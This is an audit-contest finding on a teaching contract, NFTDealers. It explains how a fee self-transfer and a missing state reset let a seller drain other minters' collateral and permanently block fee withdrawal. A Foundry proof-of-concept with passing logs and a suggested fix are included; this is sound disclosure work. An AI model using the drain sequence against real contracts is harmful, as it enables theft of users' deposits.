NFT Dealers

First Flight #58

Beginner FriendlyFoundry

100 EXP

View results

Previous Next

Submission Details

Severity: high

Valid

collectUsdcFromSelling Self-Transfers Fees to the Contract Itself, Permanently Bricking withdrawFees()

0xki

Root + Impact

Description

NFTDealers.sol:179-181

collectUsdcFromSelling increments totalFeesCollected by fees, then immediately transfers those same fees back to address(this) — the contract itself. ERC20 self-transfers are permitted by the standard and emit a Transfer event, but change no balance. The fees remain in the contract's general pool as an accounting residual — identical to what would remain without the line — while totalFeesCollected grows as if real revenue was segregated into a fee bucket.
withdrawFees() uses totalFeesCollected as the exact transfer amount to the owner. Once totalFeesCollected diverges above the real contract balance (via H-1's missing state clear), the safeTransfer in withdrawFees() reverts and the DoS is permanent — totalFeesCollected cannot be zeroed by any other function.

// @> NFTDealers.sol:179-181

totalFeesCollected += fees;

amountToSeller += collateralToReturn;

usdc.safeTransfer(address(this), fees); // @audit self-transfer: from == to == address(this) — balance no-op

usdc.safeTransfer(msg.sender, amountToSeller);

// @> NFTDealers.sol:195-201

function withdrawFees() external onlyOwner {

require(totalFeesCollected > 0, "No fees to withdraw");

uint256 amount = totalFeesCollected;

totalFeesCollected = 0;

usdc.safeTransfer(owner, amount); // @audit reverts if contract balance < totalFeesCollected

}

Risk

Likelihood:

A seller calls collectUsdcFromSelling twice on the same listing (enabled by H-1's missing state clear) — totalFeesCollected is incremented twice while the contract balance drains to zero, making any subsequent withdrawFees() call revert
A seller calls collectUsdcFromSelling after cancelling a listing with no buyer (H-1 Path B) — totalFeesCollected records phantom fee revenue from a sale that never occurred, sourced from innocent minters' collateral

Impact:

withdrawFees() is permanently bricked once totalFeesCollected exceeds the real contract balance — the owner loses access to all accumulated fee revenue with no on-chain recovery path
In Path B, the owner withdraws funds labelled as fee revenue that are actually innocent minters' collateral deposits — the protocol's totalFeesCollected metric permanently overstates real fee income

Proof of Concept

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.34;

import {Test, console2} from "forge-std/Test.sol";

import {NFTDealers} from "../src/NFTDealers.sol";

import {MockUSDC} from "../src/MockUSDC.sol";

/**

* @title PoC_M1_FeeAccountingCorruption

* @notice Proof of Concept: M-1 -- collectUsdcFromSelling contains a

* self-transfer (safeTransfer(address(this), fees)) that is always a

* balance no-op, while totalFeesCollected is incremented as if real

* funds were moved. This produces two observable failure modes.

* ROOT CAUSE:

* NFTDealers.sol:179 totalFeesCollected += fees;

* NFTDealers.sol:181 usdc.safeTransfer(address(this), fees);

* The intent is to move the fee portion into a "protocol fee bucket".

* But address(this) == msg.sender's counterparty is the contract itself;

* transferring to yourself leaves every balance unchanged. USDC's ERC20

* implementation allows self-transfers and emits a Transfer event, so the

* call succeeds silently while accomplishing nothing.

* Because fees are never actually set aside, totalFeesCollected diverges

* from real protocol USDC in two compound scenarios:

* A) Post-cancel collect (H-1 Path B, no buyer): the fee is calculated on

* listing.price that no buyer ever paid. totalFeesCollected records fee

* "revenue" from a phantom sale; the USDC comes from victim collateral.

* B) Repeated collect (H-1 Path A): each repeat call increments

* totalFeesCollected by fees but drains amountToSeller from real funds.

* After enough repetitions totalFeesCollected > contract balance, making

* withdrawFees() revert permanently.

* THREE TESTS:

* testM1_SelfTransferIsNoOp

* Proves the safeTransfer(this, fees) line has zero effect on any balance.

* The fee USDC is retained in the contract only as an accounting residual,

* not through any real movement; the seller payout is reduced by fees, and

* the same amount sits in the contract as a leftover.

* testM1_PhantomFeeRevenue

* Post-cancel collect (no buyer) causes totalFeesCollected to record fee

* revenue from a sale that never occurred. The owner's withdrawFees()

* succeeds but extracts victim minting collateral, not real protocol fees.

* testM1_WithdrawFees_PermanentDoS

* H-1 Path A: repeated collect calls inflate totalFeesCollected to 20 USDC

* while draining the contract to 0. withdrawFees() then reverts permanently

* because totalFeesCollected (20) exceeds the contract balance (0).

* NOTE ON VICTIM COUNT:

* 50 victims (50 x 20 = 1000 USDC) fund the contract sufficiently for

* testM1_PhantomFeeRevenue (needs 990 USDC for one post-cancel collect).

* The same pool plus one legitimate buyer funds testM1_WithdrawFees_PermanentDoS

* (needs 2 x 1010 = 2020 USDC for two post-sale collects).

contract PoC_M1_FeeAccountingCorruption is Test {

NFTDealers public nftDealers;

MockUSDC public usdc;

string internal constant BASE_IMAGE =

"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";

address public owner = makeAddr("owner");

address public seller = makeAddr("seller");

address public buyer = makeAddr("buyer");

uint256 public constant LOCK_AMOUNT = 20e6; // 20 USDC

uint32 public constant SALE_PRICE = 1000e6; // 1,000 USDC

uint256 public constant FEES = (uint256(SALE_PRICE) * 100) / 10_000; // 10 USDC (1%)

uint256 public constant TO_SELLER = uint256(SALE_PRICE) - FEES; // 990 USDC

uint256 public constant NUM_VICTIMS = 50;

function setUp() public {

usdc = new MockUSDC();

nftDealers = new NFTDealers(

owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT

);

vm.prank(owner);

nftDealers.revealCollection();

vm.prank(owner);

nftDealers.whitelistWallet(seller);

}

// Helper: whitelist a fresh address, fund it, and mint one NFT.

// Returns the minted tokenId.

function _mintAs(address user) internal returns (uint256) {

vm.prank(owner);

nftDealers.whitelistWallet(user);

usdc.mint(user, LOCK_AMOUNT);

vm.startPrank(user);

usdc.approve(address(nftDealers), LOCK_AMOUNT);

nftDealers.mintNft();

vm.stopPrank();

return nftDealers.totalMinted();

}

// Helper: create NUM_VICTIMS innocent minters to fund the contract.

function _fundContractWithVictims() internal {

for (uint256 i = 0; i < NUM_VICTIMS; i++) {

address victim = address(uint160(0xDEAD0000 + i));

_mintAs(victim);

}

// =========================================================================

// TEST 1: safeTransfer(address(this), fees) is always a balance no-op

// =========================================================================

/**

* @notice A legitimate sale + single collect.

* Before collect: contract = lockAmount + SALE_PRICE = 1020 USDC.

* After collect: contract = FEES = 10 USDC.

* The contract balance decreased by amountToSeller (1010 USDC),

* not by amountToSeller + fees (1020 USDC). This proves that the

* safeTransfer(address(this), FEES) had no effect on any balance:

* no USDC was moved anywhere by that line.

* The 10 USDC "fee" is retained in the contract only because the

* seller received (price - fees + collateral), leaving fees as an

* accidental residual -- not through any intentional accounting.

function testM1_SelfTransferIsNoOp() public {

console2.log("=== M-1: SELF-TRANSFER IS A BALANCE NO-OP ===");

// ── Setup: mint + list + buy ──────────────────────────────────────────

uint256 tokenId = _mintAs(seller);

vm.prank(seller);

nftDealers.list(tokenId, SALE_PRICE);

usdc.mint(buyer, uint256(SALE_PRICE));

vm.startPrank(buyer);

usdc.approve(address(nftDealers), uint256(SALE_PRICE));

nftDealers.buy(tokenId);

vm.stopPrank();

uint256 contractBefore = usdc.balanceOf(address(nftDealers));

uint256 sellerBefore = usdc.balanceOf(seller);

console2.log("[0] Before collectUsdcFromSelling:");

console2.log(" Contract USDC :", contractBefore / 1e6, "USDC");

console2.log(" Expected fees :", FEES / 1e6, "USDC");

console2.log(" Expected payout :", (LOCK_AMOUNT + TO_SELLER) / 1e6, "USDC");

// ── Collect ───────────────────────────────────────────────────────────

vm.prank(seller);

nftDealers.collectUsdcFromSelling(tokenId);

uint256 contractAfter = usdc.balanceOf(address(nftDealers));

uint256 sellerAfter = usdc.balanceOf(seller);

uint256 contractDelta = contractBefore - contractAfter;

uint256 sellerDelta = sellerAfter - sellerBefore;

console2.log("[1] After collectUsdcFromSelling:");

console2.log(" Contract USDC :", contractAfter / 1e6, "USDC (= FEES residual)");

console2.log(" Seller received :", sellerDelta / 1e6, "USDC");

console2.log(" Contract delta :", contractDelta / 1e6, "USDC");

console2.log(" totalFeesCollected:", nftDealers.totalFeesCollected() / 1e6, "USDC");

console2.log(" safeTransfer(this, FEES) had no balance effect.");

console2.log(" Fees are leftover residual, not intentionally set aside.");

// ── Assertions ────────────────────────────────────────────────────────

// Contract lost exactly amountToSeller -- NOT amountToSeller + fees.

// This proves safeTransfer(this, fees) changed no balance.

assertEq(contractDelta, LOCK_AMOUNT + TO_SELLER,

"Contract decreased by amountToSeller only -- self-transfer was a no-op");

// The fee residual in the contract equals totalFeesCollected

assertEq(contractAfter, FEES,

"Fee USDC is accidental residual, not the result of any real transfer");

assertEq(nftDealers.totalFeesCollected(), FEES,

"totalFeesCollected equals fee amount that stayed as residual");

// Confirm USDC was never duplicated or created

assertEq(sellerDelta + contractAfter, contractBefore,

"Conservation: seller received + contract residual = contract before");

}

// =========================================================================

// TEST 2: Phantom fee revenue -- fees recorded for a sale that never happened

// =========================================================================

/**

* @notice Seller mints, lists at SALE_PRICE, then cancels with no buyer.

* H-1 Path B allows collectUsdcFromSelling after cancel.

* totalFeesCollected records FEES (10 USDC) as protocol revenue.

* But no buyer ever paid SALE_PRICE -- the 10 USDC comes from

* innocent victim minting collateral.

* The owner's withdrawFees() succeeds, extracting 10 USDC from the

* victim pool under the false accounting label of "fee revenue".

function testM1_PhantomFeeRevenue() public {

console2.log("\n=== M-1: PHANTOM FEE REVENUE (NO BUYER PAID) ===");

// ── Fund contract with victim collateral ──────────────────────────────

_fundContractWithVictims();

uint256 victimPool = usdc.balanceOf(address(nftDealers));

console2.log("[0] Victim pool :", victimPool / 1e6, "USDC");

console2.log(" No sale has occurred -- contract holds only minting collateral");

// ── Seller: mint -> list -> cancel (H-2: collateral returned) ─────────

uint256 tokenId = _mintAs(seller);

vm.prank(seller);

nftDealers.list(tokenId, SALE_PRICE);

vm.prank(seller);

nftDealers.cancelListing(tokenId); // returns lockAmount to seller (H-2)

assertEq(nftDealers.collateralForMinting(tokenId), 0,

"Cancel zeroed collateral (H-2 side effect)");

uint256 contractBeforeCollect = usdc.balanceOf(address(nftDealers));

console2.log("[1] After cancel (no buyer ever paid):");

console2.log(" Contract USDC :", contractBeforeCollect / 1e6, "USDC (victim collateral only)");

console2.log(" totalFeesCollected :", nftDealers.totalFeesCollected() / 1e6, "USDC");

// ── H-1 Path B: collect after cancel -- listing.price was never paid ──

vm.prank(seller);

nftDealers.collectUsdcFromSelling(tokenId);

uint256 contractAfterCollect = usdc.balanceOf(address(nftDealers));

uint256 feesRecorded = nftDealers.totalFeesCollected();

console2.log("[2] After collectUsdcFromSelling (no buyer):");

console2.log(" totalFeesCollected :", feesRecorded / 1e6, "USDC (phantom revenue recorded)");

console2.log(" Seller received :", TO_SELLER / 1e6, "USDC (from victim collateral)");

console2.log(" Contract USDC :", contractAfterCollect / 1e6, "USDC (fee residual from victims)");

// ── Owner withdraws "fees" that are actually victim collateral ─────────

uint256 ownerBefore = usdc.balanceOf(owner);

vm.prank(owner);

nftDealers.withdrawFees();

uint256 ownerWithdrawn = usdc.balanceOf(owner) - ownerBefore;

console2.log("[3] Owner withdrawFees():");

console2.log(" Owner received :", ownerWithdrawn / 1e6, "USDC");

console2.log(" SOURCE: victim minting collateral, NOT buyer fee revenue");

console2.log(" No sale occurred. Protocol accounting shows 10 USDC fee income.");

console2.log(" The 10 USDC was taken from innocent minters.");

// ── Assertions ────────────────────────────────────────────────────────

// totalFeesCollected recorded phantom revenue despite no buyer

assertEq(feesRecorded, FEES,

"CRITICAL: fee revenue recorded for a sale that never occurred");

// The USDC withdrawn by owner came from victim collateral

assertEq(ownerWithdrawn, FEES,

"Owner extracted victim collateral under the accounting label of fee revenue");

// Contract is now at victim pool - TO_SELLER - ownerWithdrawn

assertEq(usdc.balanceOf(address(nftDealers)), victimPool - TO_SELLER - FEES,

"Victim pool drained by phantom collect and false fee withdrawal");

}

// =========================================================================

// TEST 3: withdrawFees permanently reverts after H-1 inflates the counter

// =========================================================================

/**

* @notice H-1 Path A (post-sale repeated collect) inflates totalFeesCollected

* to 20 USDC while draining the contract to 0.

* 50 victims (1000 USDC) + seller mint (20 USDC) + buyer (1000 USDC)

* = 2020 USDC. Two collects of 1010 USDC each = 2020 USDC drained.

* Contract = 0 USDC. totalFeesCollected = 20 USDC.

* withdrawFees() attempts safeTransfer(owner, 20) and reverts.

* The revert is permanent: no future incoming USDC will lower

* totalFeesCollected, and no function zeroes it except withdrawFees

* itself (which requires the balance to be >= totalFeesCollected).

function testM1_WithdrawFees_PermanentDoS() public {

console2.log("\n=== M-1: withdrawFees() PERMANENT DoS ===");

// ── Fund contract: 50 victims + seller + buyer ────────────────────────

_fundContractWithVictims();

uint256 tokenId = _mintAs(seller);

vm.prank(seller);

nftDealers.list(tokenId, SALE_PRICE);

usdc.mint(buyer, uint256(SALE_PRICE));

vm.startPrank(buyer);

usdc.approve(address(nftDealers), uint256(SALE_PRICE));

nftDealers.buy(tokenId);

vm.stopPrank();

uint256 contractStart = usdc.balanceOf(address(nftDealers));

console2.log("[0] After sale -- contract USDC:", contractStart / 1e6, "USDC");

console2.log(" (50 victims x 20 + seller x 20 + buyer x 1000 = 2020 USDC)");

// ── Collect 1 (legitimate) ────────────────────────────────────────────

vm.prank(seller);

nftDealers.collectUsdcFromSelling(tokenId);

console2.log("[1] After collect #1 (legitimate):");

console2.log(" totalFeesCollected:", nftDealers.totalFeesCollected() / 1e6, "USDC");

console2.log(" Contract USDC :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");

// ── Collect 2 (H-1 replay -- state never cleared) ─────────────────────

vm.prank(seller);

nftDealers.collectUsdcFromSelling(tokenId);

uint256 feesAccumulated = nftDealers.totalFeesCollected();

uint256 contractFinal = usdc.balanceOf(address(nftDealers));

console2.log("[2] After collect #2 (H-1 replay -- no state cleared):");

console2.log(" totalFeesCollected:", feesAccumulated / 1e6, "USDC");

console2.log(" Contract USDC :", contractFinal / 1e6, "USDC");

console2.log(" DIVERGENCE: totalFeesCollected > contract balance");

// ── withdrawFees reverts permanently ──────────────────────────────────

vm.prank(owner);

vm.expectRevert();

nftDealers.withdrawFees();

console2.log("[3] withdrawFees() REVERTED");

console2.log(" safeTransfer(owner, 20 USDC) fails: contract has 0 USDC");

console2.log(" totalFeesCollected cannot be zeroed. DoS is permanent.");

console2.log(" All future fee revenue is also unwithdrawable until contract");

console2.log(" receives >= totalFeesCollected USDC through normal operations.");

// ── Assertions ────────────────────────────────────────────────────────

assertEq(contractFinal, 0,

"CRITICAL: contract holds 0 USDC after two collects on same listing");

assertEq(feesAccumulated, FEES * 2,

"CRITICAL: totalFeesCollected = 20 USDC but contract has 0 USDC");

assertGt(feesAccumulated, contractFinal,

"CRITICAL: totalFeesCollected > contract balance -- withdrawFees permanently reverts");

}

POC RESULT

forge test --match-contract PoC_M1_FeeAccountingCorruption -vv

[⠑] Compiling...

[⠢] Compiling 1 files with Solc 0.8.34

[⠆] Solc 0.8.34 finished in 405.62ms

Compiler run successful!

Ran 3 tests for test/PoC_M1_FeeAccountingCorruption.t.sol:PoC_M1_FeeAccountingCorruption

[PASS] testM1_PhantomFeeRevenue() (gas: 6644897)

Logs:

=== M-1: PHANTOM FEE REVENUE (NO BUYER PAID) ===

[0] Victim pool : 1000 USDC

No sale has occurred -- contract holds only minting collateral

[1] After cancel (no buyer ever paid):

Contract USDC : 1000 USDC (victim collateral only)

totalFeesCollected : 0 USDC

[2] After collectUsdcFromSelling (no buyer):

totalFeesCollected : 10 USDC (phantom revenue recorded)

Seller received : 990 USDC (from victim collateral)

Contract USDC : 10 USDC (fee residual from victims)

[3] Owner withdrawFees():

Owner received : 10 USDC

SOURCE: victim minting collateral, NOT buyer fee revenue

No sale occurred. Protocol accounting shows 10 USDC fee income.

The 10 USDC was taken from innocent minters.

[PASS] testM1_SelfTransferIsNoOp() (gas: 394768)

Logs:

=== M-1: SELF-TRANSFER IS A BALANCE NO-OP ===

[0] Before collectUsdcFromSelling:

Contract USDC : 1020 USDC

Expected fees : 10 USDC

Expected payout : 1010 USDC

[1] After collectUsdcFromSelling:

Contract USDC : 10 USDC (= FEES residual)

Seller received : 1010 USDC

Contract delta : 1010 USDC

totalFeesCollected: 10 USDC

safeTransfer(this, FEES) had no balance effect.

Fees are leftover residual, not intentionally set aside.

[PASS] testM1_WithdrawFees_PermanentDoS() (gas: 6694532)

Logs:

=== M-1: withdrawFees() PERMANENT DoS ===

[0] After sale -- contract USDC: 2020 USDC

(50 victims x 20 + seller x 20 + buyer x 1000 = 2020 USDC)

[1] After collect #1 (legitimate):

totalFeesCollected: 10 USDC

Contract USDC : 1010 USDC

[2] After collect #2 (H-1 replay -- no state cleared):

totalFeesCollected: 20 USDC

Contract USDC : 0 USDC

DIVERGENCE: totalFeesCollected > contract balance

[3] withdrawFees() REVERTED

safeTransfer(owner, 20 USDC) fails: contract has 0 USDC

totalFeesCollected cannot be zeroed. DoS is permanent.

All future fee revenue is also unwithdrawable until contract

receives >= totalFeesCollected USDC through normal operations.

Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 6.98ms (7.78ms CPU time)

Ran 1 test suite in 46.91ms (6.98ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

Recommended Mitigation

Remove the self-transfer entirely and apply CEI (zero state before transferring). The fee amount is already retained as a natural residual after the seller payout — no explicit transfer is needed:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {

Listing memory listing = s_listings[_listingId];

require(!listing.isActive, "Listing must be inactive to collect USDC");

+ require(listing.price > 0, "Already collected"); // H-1 guard

uint256 fees = _calculateFees(listing.price);

uint256 amountToSeller = listing.price - fees;

uint256 collateralToReturn = collateralForMinting[listing.tokenId];

+ // Zero state before transfers (CEI)

+ s_listings[_listingId].price = 0;

+ collateralForMinting[listing.tokenId] = 0;

totalFeesCollected += fees;

amountToSeller += collateralToReturn;

- usdc.safeTransfer(address(this), fees); // remove: self-transfer, balance no-op

usdc.safeTransfer(msg.sender, amountToSeller);

}

Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago

Submission Judgement Published

Validated

Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Rewards breakdown

nSLOC

253

This contest has a flat reward structure with the following payouts:

High

100 EXP

Medium

20 EXP

Low

2 EXP

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!